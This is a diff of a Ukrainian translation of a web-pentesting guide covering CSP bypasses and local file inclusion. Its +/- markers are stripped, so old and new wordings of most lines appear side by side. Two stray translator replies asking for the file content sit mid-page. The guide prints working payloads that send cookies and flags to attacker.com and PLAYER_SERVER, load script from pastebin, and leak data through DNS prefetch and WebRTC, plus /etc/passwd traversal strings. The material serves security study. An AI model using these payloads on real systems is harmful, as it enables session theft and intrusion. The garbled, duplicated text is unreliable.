fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new
@ -452,11 +452,11 @@ Image().src='http://PLAYER_SERVER/?'+_)
```
Джерело: [https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle](https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle)
Ви також можете зловживати цією конфігурацією, щоб **завантажити javascript-код, вставлений всередину зображення**. Якщо, наприклад, сторінка дозволяє завантажувати зображення з Twitter. Ви можете **створити** **спеціальне зображення**, **завантажити** його в Twitter і зловживати «**unsafe-inline**», щоб **виконати** JS-код (як звичайний XSS), який **завантажить** зображення, **витягне** з нього JS і **виконає** його: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
Ви також можете зловживати цією конфігурацією, щоб **завантажити javascript code, вставлений у зображення**. Наприклад, якщо сторінка дозволяє завантажувати зображення з Twitter. Ви можете **створити** **спеціальне зображення**, **завантажити** його в Twitter та зловживати значенням "**unsafe-inline**", щоб **виконати** JS-код (як звичайний XSS), який **завантажить** **зображення**, **витягне** з нього **JS** і **виконає** **його**: [https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/](https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/)
### За допомогою Service Workers
### З Service Workers
Функція **`importScripts`** у Service workers не обмежується CSP:
Функція Service workers **`importScripts`** не обмежена CSP:
{{#ref}}
@ -469,25 +469,25 @@ Image().src='http://PLAYER_SERVER/?'+_)
#### Chrome
Якщо **параметр**, надісланий вами, **вставляється всередину** **оголошення** **політики**, то ви можете **змінити** **політику** таким чином, що вона стане **марною**. Ви можете **дозволити script 'unsafe-inline'** за допомогою будь-якого з цих обхідних шляхів:
Якщо **параметр**, надісланий вами, **вставляється всередину** **оголошення** **політики**, то ви можете **змінити** **політику** так, щоб вона стала **марною**. Ви можете **дозволити script 'unsafe-inline'** за допомогою будь-якого з цих обхідних шляхів:
```bash
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
```
Тому що ця директива **перезапише існуючі директиви script-src**.\
Приклад можна знайти тут: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
Оскільки ця директива буде **overwrite existing script-src directives**.\
You can find an example here: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+\*\&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E](http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E)
#### Edge
В Edge це набагато простіше. Якщо ви можете додати в CSP просто це: **`;_`** **Edge** **видалить** всю **політику**.\
У Edge це значно простіше. Якщо ви зможете додати в CSP лише це: **`;_`** — **Edge** **скине** всю **політику**.\
Example: [http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;\_\&y=%3Cscript%3Ealert(1)%3C/script%3E](<http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E>)
### img-src \*; via XSS (iframe) - Time attack
Зверніть увагу на відсутність директиви `'unsafe-inline'`\
Цього разу ви можете змусити жертву **завантажити** сторінку під **вашим контролем** через **XSS** з використанням `<iframe`. Цього разу ви змусите жертву звернутися до сторінки, звідки ви хочете витягти інформацію (**CSRF**). Ви не можете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете **контролювати час завантаження сторінки**, то зможете витягти потрібну інформацію.
Цього разу ви можете змусити жертву **load** сторінку під **your control** через **XSS** за допомогою `<iframe`. Ви змусите жертву звернутися до сторінки, звідки ви хочете витягти інформацію (**CSRF**). Ви не зможете отримати доступ до вмісту сторінки, але якщо якимось чином ви зможете **control the time the page needs to load**, то зможете витягти потрібну інформацію.
Цього разу буде витягнуто **flag**: коли **char правильно вгадується** через SQLi, **відповідь** займає **більше часу** через функцію sleep. Тоді ви зможете витягти flag:
Цього разу буде витягнуто **flag** — коли **char is correctly guessed** через SQLi, **response** займатиме **more time** через функцію sleep. Тоді ви зможете витягти flag:
```html
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name="f" id="g"></iframe> // The bot will load an URL with the payload
@ -547,24 +547,24 @@ console.log(prefix)
run()
</script>
```
### Через Bookmarklets
### За допомогою Bookmarklets
Ця атака передбачає соціальну інженерію, коли нападник **переконує користувача перетягнути посилання на bookmarklet у браузері**. Цей bookmarklet міститиме **шкідливий javascript** код, який при перетягуванні або натисканні виконається в контексті поточного вікна веб-переглядача, **обминаючи CSP і дозволяючи викрасти конфіденційну інформацію** таку як cookies або tokens.
Ця атака передбачає певну соціальну інженерію, де атакуючий **переконує користувача перетягнути посилання на bookmarklet браузера**. Це bookmarklet міститиме **шкідливий javascript** код, який при drag\&dropped або натисканні виконуватиметься в контексті поточного веб-вікна, **обминаючи CSP і дозволяючи викрадати конфіденційну інформацію** таку як cookies або tokens.
For more information [**check the original report here**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
Для додаткової інформації [**перегляньте оригінальний звіт тут**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/).
### CSP bypass шляхом обмеження CSP
### Обхід CSP шляхом обмеження CSP
In [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP is bypassed by injecting inside an allowed iframe a more restrictive CSP that disallowed to load a specific JS file that, then, via **prototype pollution** or **dom clobbering** allowed to **abuse a different script to load an arbitrary script**.
У [**this CTF writeup**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), CSP було обійдено шляхом ін’єкції всередину дозволеного iframe більш обмежувальної CSP, яка забороняла завантаження конкретного JS файлу, що потім через **prototype pollution** або **dom clobbering** дозволило **зловживати іншим скриптом для завантаження довільного скрипту**.
Ви можете **обмежити CSP у Iframe** за допомогою атрибуту **`csp`**:
Ви можете **обмежити CSP iframe** за допомогою атрибуту **`csp`**:
```html
<iframe
src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]"
csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
```
In [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), за допомогою **HTML injection** було можливим ще більше **обмежити** **CSP**, через що скрипт, що запобігає CSTI, був відключений і тому **vulnerability became exploitable.**\
**CSP** можна зробити більш суворим за допомогою **HTML meta tags**, а inline scripts можна відключити, **видаливши** відповідний **запис**, що дозволяє їх **nonce**, і **enable specific inline script via sha**:
У [**this CTF writeup**](https://github.com/aszx87410/ctf-writeups/issues/48), було можливо через **HTML injection** більш **restrict** **CSP**, внаслідок чого скрипт, що запобігає CSTI, був відключений і тому **vulnerability became exploitable.**\
**CSP** можна зробити більш суворим за допомогою **HTML meta tags**, а inline scripts можна вимкнути, **removing** **the entry** що дозволяє їх **nonce**, і **enable specific inline script via sha**:
```html
<meta
http-equiv="Content-Security-Policy"
@ -575,7 +575,7 @@ content="script-src 'self'
```
### JS exfiltration with Content-Security-Policy-Report-Only
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** зі **значенням, яке контролюєте ви** (можливо через CRLF), ви можете вказати його на ваш сервер, і якщо ви **обгорнете** **JS content**, який хочете ексфільтрувати, тегом **`<script>`**, і оскільки дуже ймовірно, що `unsafe-inline` не дозволений CSP, це **спровокує помилку CSP**, і частина скрипта (що містить чутливу інформацію) буде відправлена на сервер через `Content-Security-Policy-Report-Only`.
Якщо вам вдасться змусити сервер відповісти заголовком **`Content-Security-Policy-Report-Only`** зі **значенням, контрольованим вами** (наприклад через CRLF), ви можете вказати в ньому ваш сервер, і якщо ви **обгорнете** **JS content**, який хочете exfiltrate, у **`<script>`**, і оскільки дуже ймовірно, що `unsafe-inline` не дозволено CSP, це **спровокує помилку CSP** і частина скрипта (яка містить чутливу інформацію) буде відправлена на сервер через `Content-Security-Policy-Report-Only`.
For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-Challenges/tree/master/TSJ%20CTF%202022/Nim%20Notes).
@ -584,46 +584,46 @@ For an example [**check this CTF writeup**](https://github.com/maple3142/My-CTF-
document.querySelector("DIV").innerHTML =
'<iframe src=\'javascript:var s = document.createElement("script");s.src = "https://pastebin.com/raw/dw5cWGK6";document.body.appendChild(s);\'></iframe>'
```
### Leaking інформації з CSP та iframe
### Leaking інформацію з CSP і Iframe
- Створюється `iframe`, що вказує на URL (назвемо його `https://example.redirect.com`), який дозволений CSP.
- Створюється `iframe`, який вказує на URL (назвімо його `https://example.redirect.com`), що дозволений CSP.
- Цей URL потім перенаправляє на секретний URL (наприклад, `https://usersecret.example2.com`), який **не дозволений** CSP.
- Прослуховуючи подію `securitypolicyviolation`, можна отримати властивість `blockedURI`. Ця властивість розкриває домен заблокованого URI, що призводить до leak секретного домену, на який перенаправляв початковий URL.
- Прослуховуючи подію `securitypolicyviolation`, можна захопити властивість `blockedURI`. Ця властивість розкриває домен заблокованого URI, leaking секретний домен, на який було перенаправлено початковий URL.
Цікавий момент: браузери, як Chrome і Firefox, поводяться по-різному при обробці iframe щодо CSP, що може призвести до потенційного leak чутливої інформації через невизначену поведінку.
Цікаво зазначити, що браузери, такі як Chrome та Firefox, мають різну поведінку при обробці iframe щодо CSP, що може призвести до розкриття чутливої інформації через невизначену поведінку.
Інша техніка полягає в експлуатації самого CSP, щоб вивести секретний subdomain. Цей метод базується на binary search algorithm і на налаштуванні CSP для включення певних доменів, які навмисно блокуються. Наприклад, якщо секретний subdomain складається з невідомих символів, ви можете ітеративно тестувати різні subdomains, змінюючи CSP directive щоб блокувати або дозволяти ці subdomains. Ось фрагмент, що показує, як CSP може бути налаштований для полегшення цього методу:
Інший метод полягає у використанні самої CSP для встановлення секретного піддомену. Цей підхід базується на бінарному пошуку і зміні CSP для включення конкретних доменів, які навмисно блокуються. Наприклад, якщо секретний піддомен складається з невідомих символів, ви можете ітеративно тестувати різні піддомени, модифікуючи директиву CSP, щоб блокувати або дозволяти ці піддомени. Ось фрагмент, який показує, як CSP може бути налаштований для полегшення цього методу:
```markdown
img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev
```
Спостерігаючи, які запити блокуються або дозволяються CSP, можна звузити множину можливих символів у секретному піддомені і зрештою виявити повний URL.
Моніторячи, які запити блокуються або дозволяються CSP, можна звузити набір можливих символів у секретному піддомені і в кінцевому підсумку відкрити повний URL.
Обидва методи експлуатують нюанси реалізації CSP та поведінки в браузерах, показуючи, як на вигляд безпечні політики можуть ненавмисно leak конфіденційної інформації.
Обидва методи використовують нюанси реалізації CSP та поведінки браузерів, демонструючи, як на перший погляд безпечні політики можуть ненавмисно leak конфіденційну інформацію.
Trick from [**here**](https://ctftime.org/writeup/29310).
## Небезпечні технології для обходу CSP
## Unsafe Technologies to Bypass CSP
### PHP-помилки при занадто великій кількості параметрів
### PHP — помилки при занадто великій кількості params
Згідно з [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), відправка надто великої кількості параметрів (1001 GET parameters хоча це також можна зробити з POST params і більше ніж 20 файлів). Будь-який визначений **`header()`** в PHP web-коді **не буде надісланий** через помилку, яку це спричинить.
Згідно з [**last technique commented in this video**](https://www.youtube.com/watch?v=Sm4G6cAHjWM), відправка занадто великої кількості параметрів (1001 GET parameters хоча це можна також зробити з POST params і більше ніж 20 файлів). Будь-який визначений **`header()`** у PHP web code **не буде відправлено** через помилку, яку це спричинить.
### PHP response buffer overload
### PHP — перевантаження буфера відповіді
Відомо, що PHP за замовчуванням **буферизує відповідь до 4096** байт. Тому, якщо PHP показує warning, надавши **достатньо даних у warning'ах**, **response** буде **відправлено** **перед** **CSP header**, що спричинить ігнорування заголовка.\
Отже, техніка по суті полягає у **заповненні буфера відповіді warning'ами**, щоб CSP header не був надісланий.
PHP відомий тим, що **за замовчуванням буферизує response до 4096** байтів. Тому, якщо PHP показує warning, надаючи **достатньо даних всередині warning**, **response** буде **відправлено** **перед** **CSP header**, через що заголовок буде ігноровано.\
Техніка, фактично, полягає в **заповненні буфера відповіді warning-ами**, щоб CSP header не був відправлений.
Idea from [**this writeup**](https://hackmd.io/@terjanq/justCTF2020-writeups#Baby-CSP-web-6-solves-406-points).
### Kill CSP via max_input_vars (headers already sent)
### Припинення дії CSP через max_input_vars (headers already sent)
Оскільки заголовки повинні бути надіслані перед будь-яким виводом, warning'и, які видає PHP, можуть зробити недійсними подальші виклики `header()`. Якщо введення користувача перевищує `max_input_vars`, PHP спочатку викидає startup warning; будь-який наступний `header('Content-Security-Policy: ...')` завершиться помилкою “headers already sent”, фактично відключаючи CSP і дозволяючи інакше заблокований reflective XSS.
Оскільки headers має бути відправлено до будь-якого виводу, warnings, які генерує PHP, можуть зробити недійсними пізніші виклики `header()`. Якщо користувацький ввід перевищує `max_input_vars`, PHP спочатку викидає startup warning; будь-який наступний `header('Content-Security-Policy: ...')` завершиться помилкою “headers already sent”, фактично відключаючи CSP і дозволяючи інакше заблокований reflective XSS.
```php
<?php
header("Content-Security-Policy: default-src 'none';");
echo $_GET['xss'];
```
Ви не надали вміст файлу для перекладу. Будь ласка, вставте вміст README.md (або вкажіть текст), який потрібно перекласти на українську.
Будь ласка, надайте вміст файлу src/pentesting-web/content-security-policy-csp-bypass/README.md, який потрібно перекласти.
```bash
# CSP in place → payload blocked by browser
curl -i "http://orange.local/?xss=<svg/onload=alert(1)>"
@ -635,7 +635,7 @@ curl -i "http://orange.local/?xss=<svg/onload=alert(1)>&A=1&A=2&...&A=1000"
```
### Перезапис сторінки помилки
Згідно з [**this writeup**](https://blog.ssrf.kr/69), схоже, було можливо обійти захист CSP, завантаживши сторінку помилки (ймовірно без CSP) й перезаписавши її вміст.
З [**this writeup**](https://blog.ssrf.kr/69) виглядає, що можна було bypass захист CSP, завантаживши сторінку помилки (можливо без CSP) та перезаписавши її вміст.
```javascript
a = window.open("/" + "x".repeat(4100))
setTimeout(function () {
@ -644,32 +644,31 @@ a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0le
```
### SOME + 'self' + wordpress
SOME — це техніка, яка зловживає XSS (або дуже обмеженим XSS) **in an endpoint of a page** для **abuse** **other endpoints of the same origin.** Це робиться шляхом завантаження уразливого endpoint з attacker page, а потім перезавантаження attacker page на реальний endpoint в тому ж origin, який ви хочете зловживати. Таким чином **vulnerable endpoint** може використовувати об'єкт **`opener`** у **payload**, щоб **access the DOM** реального endpoint для зловживання. Для детальнішої інформації дивись:
SOME — це техніка, яка зловживає XSS (або сильно обмеженим XSS) **в endpoint сторінки**, щоб **зловживати** **іншими endpoint тієї ж origin.** Це робиться шляхом завантаження вразливого endpoint зі сторінки атакуючого, а потім оновлення сторінки атакуючого на реальний endpoint в тій же origin, яку ви хочете зловживати. Таким чином **вразливий endpoint** може використовувати об'єкт **`opener`** в **payload**, щоб **отримати доступ до DOM** реального endpoint, над яким здійснюється зловживання. Для детальнішої інформації див.:
{{#ref}}
../xss-cross-site-scripting/some-same-origin-method-execution.md
{{#endref}}
Крім того, **wordpress** має **JSONP** endpoint у `/wp-json/wp/v2/users/1?_jsonp=data`, який буде **reflect** **data**, надіслані у вихід (з обмеженням лише літер, цифр та крапок).
Більше того, **wordpress** має **JSONP** endpoint у `/wp-json/wp/v2/users/1?_jsonp=data`, який **відобразить** надані **data** у виводі (з обмеженням — лише літери, цифри та крапки).
An attacker can abuse that endpoint to **generate a SOME attack** against WordPress and **embed** it inside `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` note that this **script** will be **loaded** because it's **allowed by 'self'**. Moreover, and because WordPress is installed, an attacker might abuse the **SOME attack** through the **vulnerable** **callback** endpoint that **bypasses the CSP** to give more privileges to a user, install a new plugin...\
For more information about how to perform this attack check [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
Атакуючий може зловживати цим endpoint, щоб **згенерувати SOME attack** проти WordPress і **вбудувати** його всередину `<script s`rc=`/wp-json/wp/v2/users/1?_jsonp=some_attack></script>` — зауважте, що цей **script** буде **завантажено**, оскільки він **дозволений 'self'**. Більше того, і оскільки WordPress встановлено, атакуючий може зловживати **SOME attack** через вразливий **callback** endpoint, який **обходить CSP**, щоб надати користувачу більше привілеїв, встановити новий plugin...\
Для детальнішої інформації про те, як виконати цю атаку, див. [https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/](https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/)
## CSP Exfiltration Bypasses
Якщо є сувора CSP, яка не дозволяє вам **interact with external servers**, є деякі речі, які ви завжди можете зробити, щоб exfiltrate інформацію.
Якщо діє суворий CSP, який не дозволяє вам **interact with external servers**, є кілька способів, за допомогою яких все одно можна вивести інформацію.
### Location
Ви можете просто оновити location, щоб відправити на attacker's server секретну інформацію:
Можна просто оновити location, щоб надіслати секретну інформацію на сервер атакуючого:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
document.location = "https://attacker.com/?" + sessionid
```
### Meta tag
Ви можете перенаправити, вставивши meta tag (це лише перенаправлення, воно не призведе до leak вмісту)
Ви можете перенаправити, вставивши meta tag (це лише перенаправлення, це не призведе до leak контенту)
```html
<meta http-equiv="refresh" content="1; http://attacker.com" />
```
@ -678,7 +677,7 @@ document.location = "https://attacker.com/?" + sessionid
Щоб завантажувати сторінки швидше, браузери попередньо розв'язують імена хостів у IP-адреси та кешують їх для подальшого використання.\
Ви можете вказати браузеру попередньо розв'язати ім'я хоста за допомогою: `<link rel="dns-prefetch" href="something.com">`
Ви можете зловживати цією поведінкою, щоб **exfiltrate sensitive information via DNS requests**:
Цю поведінку можна використати для **exfiltrate sensitive information via DNS requests**:
```javascript
var sessionid = document.cookie.split("=")[1] + "."
var body = document.getElementsByTagName("body")[0]
@ -695,7 +694,7 @@ linkEl.rel = "prefetch"
linkEl.href = urlWithYourPreciousData
document.head.appendChild(linkEl)
```
Щоб уникнути цього, сервер може надіслати HTTP-заголовок:
Щоб уникнути цього, сервер може відправити HTTP header:
```
X-DNS-Prefetch-Control: off
```
@ -706,7 +705,7 @@ X-DNS-Prefetch-Control: off
На кількох сторінках можна прочитати, що **WebRTC не перевіряє політику `connect-src` у CSP**.
Насправді ви можете _leak_ інформацію, використовуючи _DNS request_. Перегляньте цей код:
Насправді ви можете _leak_ інформацію, використовуючи _DNS request_. Подивіться на цей код:
```javascript
;(async () => {
p = new RTCPeerConnection({ iceServers: [{ urls: "stun:LEAK.dnsbin" }] })
@ -728,7 +727,7 @@ pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
```
### CredentialsContainer
The credential popup надсилає DNS-запит до iconURL без обмежень з боку сторінки. Працює лише в безпечному контексті (HTTPS) або на localhost.
Спливаюче вікно для облікових даних надсилає DNS-запит до iconURL, не будучи обмеженим сторінкою. Працює лише в безпечному контексті (HTTPS) або на localhost.
```javascript
navigator.credentials.store(
new FederatedCredential({
@ -741,7 +740,7 @@ iconURL:"https:"+your_data+"example.com"
```
## Перевірка політик CSP онлайн
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)
- [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
- [https://cspvalidator.org/](https://cspvalidator.org/#url=https://cspvalidator.org/)
## Автоматичне створення CSP

View File

@ -4,16 +4,16 @@
## File Inclusion
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Найкраще: ви можете записати код, і сервер його виконає). У php це **відключено** за замовчуванням (**allow_url_include**).\
**Remote File Inclusion (RFI):** Файл завантажується з віддаленого сервера (Перевага: ви можете написати код, і сервер його виконає). У PHP це за замовчуванням **вимкнено** (**allow_url_include**).\
**Local File Inclusion (LFI):** Сервер завантажує локальний файл.
Уразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.
Вразливість виникає, коли користувач якимось чином може контролювати файл, який буде завантажений сервером.
Уразливі **PHP функції**: require, require_once, include, include_once
Уразливі **PHP functions**: require, require_once, include, include_once
Цікавий інструмент для експлуатації цієї уразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
Корисний інструмент для експлуатації цієї вразливості: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
## Blind - Interesting - LFI2RCE файли
## Blind - Interesting - LFI2RCE files
```python
wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../../FUZZ
```
@ -29,7 +29,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Спробуйте також замінити `/` на `\`\
Спробуйте також додати `../../../../../`
Список, що використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
Список, який використовує кілька технік для знаходження файлу /etc/password (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-nix.txt)
### **Windows**
@ -43,19 +43,19 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion
Спробуйте також замінити `/` на `\`\
Спробуйте також видалити `C:/` і додати `../../../../../`
Список, що використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
Список, який використовує кілька технік для знаходження файлу /boot.ini (щоб перевірити, чи існує вразливість), можна знайти [тут](https://github.com/xmendez/wfuzz/blob/master/wordlist/vulns/dirTraversal-win.txt)
### **OS X**
Перевірте список LFI для linux.
Перевірте LFI список для Linux.
## Основи LFI та обходи
## Основи LFI та обхідні методи
Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)//>).
Усі приклади стосуються Local File Inclusion, але також можуть бути застосовані до Remote File Inclusion (page=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
```
http://example.com/index.php?page=../../../etc/passwd
```
### послідовності обходу видаляються нерекурсивно
### traversal sequences видаляються нерекурсивно
```python
http://example.com/index.php?page=....//....//....//etc/passwd
http://example.com/index.php?page=....\/....\/....\/etc/passwd
@ -63,7 +63,7 @@ http://some.domain.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
```
### **Null byte (%00)**
Обхід додавання додаткових символів у кінець переданого рядка (обхід: $\_GET\['param']."php")
Bypass додавання додаткових символів у кінець наданого рядка (bypass of: $\_GET\['param']."php")
```
http://example.com/index.php?page=../../../etc/passwd%00
```
@ -71,14 +71,14 @@ http://example.com/index.php?page=../../../etc/passwd%00
### **Кодування**
Ви можете використовувати нестандартні кодування, такі як double URL encode (і інші):
Ви можете використовувати нестандартні кодування, такі як double URL encode (та інші):
```
http://example.com/index.php?page=..%252f..%252f..%252fetc%252fpasswd
http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
```
### З наявної папки
### Із існуючої папки
Можливо, back-end перевіряє шлях до папки:
```python
@ -86,36 +86,36 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### Дослідження директорій файлової системи на сервері
Файлову систему сервера можна досліджувати рекурсивно, щоб ідентифікувати директорії, а не лише файли, застосовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для цього:
Файлову систему сервера можна рекурсивно досліджувати для виявлення директорій, а не лише файлів, використовуючи певні техніки. Цей процес включає визначення глибини директорії та перевірку наявності конкретних папок. Нижче наведено детальний метод для досягнення цього:
1. **Determine Directory Depth:** Визначте глибину вашої поточної директорії, успішно отримавши файл `/etc/passwd` (підходить, якщо сервер на базі Linux). Приклад URL може бути структурований таким чином, що вказує глибину три:
1. **Визначте глибину директорії:** Визначте глибину поточної директорії шляхом успішного отримання файлу `/etc/passwd` (застосовно, якщо сервер працює під Linux). Приклад URL може мати таку структуру, що вказує на глибину три:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, а потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю:
2. **Перевірка папок:** Додайте назву підозрілої папки (наприклад, `private`) до URL, потім поверніться до `/etc/passwd`. Додатковий рівень директорії вимагає збільшення глибини на одиницю:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **Інтерпретуйте результати:** Відповідь сервера вказує, чи існує папка:
- **Помилка / Відсутній вивід:** Папка `private`, ймовірно, не існує в указаному місці.
- **Вміст `/etc/passwd`:** Наявність папки `private` підтверджується.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково перевірити на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні методи Local File Inclusion (LFI).
3. **Інтерпретація результатів:** Відповідь сервера вказує, чи існує папка:
- **Помилка / Немає виводу:** Папка `private` ймовірно не існує за вказаним шляхом.
- **Вміст `/etc/passwd`:** Підтверджено наявність папки `private`.
4. **Рекурсивне дослідження:** Виявлені папки можна додатково досліджувати на наявність підкаталогів або файлів, використовуючи ту саму техніку або традиційні Local File Inclusion (LFI) методи.
Для дослідження директорій у різних розташуваннях файлової системи відкоригуйте payload відповідно. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточна директорія знаходиться на глибині 3), використовуйте:
Щоб дослідити директорії в інших частинах файлової системи, відповідно змініть payload. Наприклад, щоб перевірити, чи містить `/var/www/` папку `private` (припускаючи, що поточна директорія знаходиться на глибині 3), використовуйте:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation — це метод, який застосовується для маніпуляції шляхами файлів у вебзастосунках. Його часто використовують для доступу до обмежених файлів, обходячи певні заходи безпеки, які додають додаткові символи наприкінці шляху файлу. Мета — сформувати шлях до файлу, який після змін завдяки заходу безпеки все одно вказуватиме на потрібний файл.
Path truncation — це метод, який використовують для маніпулювання шляхами файлів у веб-застосунках. Часто його використовують для доступу до обмежених файлів, оминаючи певні заходи безпеки, які додають додаткові символи в кінець шляхів файлів. Мета — сформувати шлях, який після внесених заходом безпеки змін все одно вказуватиме на потрібний файл.
У PHP різні подання шляху файлу можуть розглядатися як еквівалентні через природу файлової системи. Наприклад:
У PHP різні представлення шляху файлу можуть вважатися еквівалентними через особливості файлової системи. Наприклад:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, та `/etc/passwd/` усі вважаються тим самим шляхом.
- Коли останні 6 символів — `passwd`, додавання `/` (утворюючи `passwd/`) не змінює цільовий файл.
- Подібно, якщо до шляху файлу додається `.php` (наприклад `shellcode.php`), додавання `/.` наприкінці не змінить файл, до якого відбувається доступ.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, та `/etc/passwd/` обробляються як один і той же шлях.
- Коли останні 6 символів — `passwd`, додавання `/` (тобто `passwd/`) не змінює цільового файлу.
- Аналогічно, якщо до шляху додається `.php` (наприклад, `shellcode.php`), додавання `/.` вкінці не змінить файл, до якого відбувається доступ.
Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd`, що є поширеною ціллю через його чутливий вміст (інформація про облікові записи користувачів):
Наведені приклади демонструють, як використовувати path truncation для доступу до `/etc/passwd` — часта ціль через конфіденційний вміст (інформація про облікові записи користувачів):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,15 +125,15 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
У цих сценаріях кількість необхідних traversals може бути близько 2027, але це число може змінюватися залежно від конфігурації сервера.
У цих сценаріях кількість traversals, які потрібні, може становити близько 2027, але це число може змінюватися залежно від конфігурації сервера.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`) у поєднанні з додатковими dot segments та символами можуть використовуватися для навігації файловою системою, ефективно ігноруючи рядки, що додаються сервером.
- **Determining the Required Number of Traversals**: Методом спроб і помилок можна визначити точну кількість `../` послідовностей, необхідних для переходу до кореневого каталогу, а потім до `/etc/passwd`, при цьому нейтралізуючи будь-які додані рядки (наприклад, `.php`), але бажаний шлях (`/etc/passwd`) залишається недоторканим.
